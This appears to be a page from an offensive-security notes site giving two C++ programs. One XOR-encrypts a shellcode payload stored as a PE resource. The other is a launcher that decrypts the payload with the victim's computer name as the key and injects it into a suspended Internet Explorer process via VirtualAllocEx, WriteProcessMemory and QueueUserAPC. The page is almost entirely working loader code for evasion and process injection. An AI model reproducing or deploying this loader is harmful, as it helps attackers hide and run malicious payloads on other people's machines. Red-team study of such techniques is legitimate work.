Resource Encrypter

//ENCRYPTER

#include "Windows.h"
#include <iostream>
#include <fstream>
#include "resource.h"
#include <vector>
using namespace std;

int main()
{
    //https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
    //Solution Explorer > Resource Files > Add > Resource > edit code > location of shellcode.bin


    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"payload_bin");
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    HGLOBAL shellcode = LoadResource(NULL, shellcodeResource);
    //LPVOID pShellcode = LockResource(shellcodeResource);
    

    unsigned char eShellcode [261120];
    unsigned char fShellcode [261120];
    memcpy(&eShellcode, shellcode, shellcodeSize);
   
    string key = "DESKTOP-JNOLSF5";
   
    for (int ii = 0; ii < key.length(); ii++) {

        for (int i = 0; i < sizeof eShellcode; i++) {
            fShellcode[i] = eShellcode[i] ^ key[ii];
            eShellcode[i] = fShellcode[i];
        }
    }

    ofstream outfile("encrypt-resource.bin", ios::out | ios::binary);
    outfile.write((const char*)&fShellcode[0], sizeof(fShellcode));
    outfile.close();
}
//LAUNCHER

#include <windows.h>
#include <string>
#include <iostream>
#include "Winbase.h"
#include <fstream>
#include <vector>
#include "resource.h"

int main(int argc, char** argv)
{
	
    //https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
  //Solution Explorer > Resource Files > Add > Resource > edit code > location of shellcode.bin


    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"payload_bin");
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    HGLOBAL shellcode = LoadResource(NULL, shellcodeResource);
    //LPVOID pShellcode = LockResource(shellcodeResource);


    unsigned char eShellcode[261120];
    unsigned char fShellcode[261120];
    memcpy(&eShellcode, shellcode, shellcodeSize);
    

    char hn[32];
    DWORD buf = 32;
    GetComputerNameA(hn, &buf);

    std::string key = hn;
    // std::vector<BYTE> fShellcode(eShellcode);
     //unsigned char fShellcode[sizeof(eShellcode)];
    for (int ii = 0; ii < key.length(); ii++) {

        for (int i = 0; i < sizeof eShellcode; i++) {
            fShellcode[i] = eShellcode[i] ^ key[ii];
            eShellcode[i] = fShellcode[i];
        }
    }


    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    //C:\\Program Files\\Mozilla Firefox\\firefox.exe
   
    CreateProcessA("C:\\Program Files\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    HANDLE targetProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;

    LPVOID targetAddress = VirtualAllocEx(targetProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)targetAddress;

    WriteProcessMemory(targetProcess, targetAddress, fShellcode, shellcodeSize, NULL);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    ResumeThread(threadHandle);

    return 0;


}

https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources

Last updated

Was this helpful?